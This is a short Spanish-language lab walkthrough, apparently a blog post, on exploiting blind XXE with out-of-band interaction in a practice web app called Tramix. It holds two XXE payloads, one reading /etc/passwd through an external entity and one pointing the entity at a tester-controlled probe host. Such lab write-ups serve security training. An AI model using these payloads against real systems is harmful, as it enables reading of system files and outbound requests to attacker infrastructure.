XXE a ciegas por interacción fuera de banda (Tramix)
Vamos a ver la aplicación web:
Vamos a darle a Entrar al panel, donde veremos un formulario de inicio de sesión donde nos dan las siguientes credenciales:
d.serrano:Tramix-2026
Vamos a iniciar sesión:
Vamos a probar a enviar un nuevo documento y ver como se procesa por atrás:
Vemos que se tramita por XML, vamos a enviarlo al Repeater e intentar un XXE (XML External Entity) para intentar leer el /etc/passwd usando el esquema URL file:// usando una entidad externa:
Acordaros de llamar a nuestra entidad externa en el cuerpo del documento XML. Ejemplo ->
&data;
Payload:
1
<!DOCTYPE test [<!ENTITY data SYSTEM "file:///etc/passwd">]>
Vemos que no muestra nada, vamos a intentar apuntar a un servidor nuestro para ver si intenta apuntar a un DTD (Document Type Definition):
Payload:
1
<!DOCTYPE test [<!ENTITY data SYSTEM "https://a49ba8ad70.sonda.tramix.lab">]>
This post is licensed under CC BY 4.0 by the author.






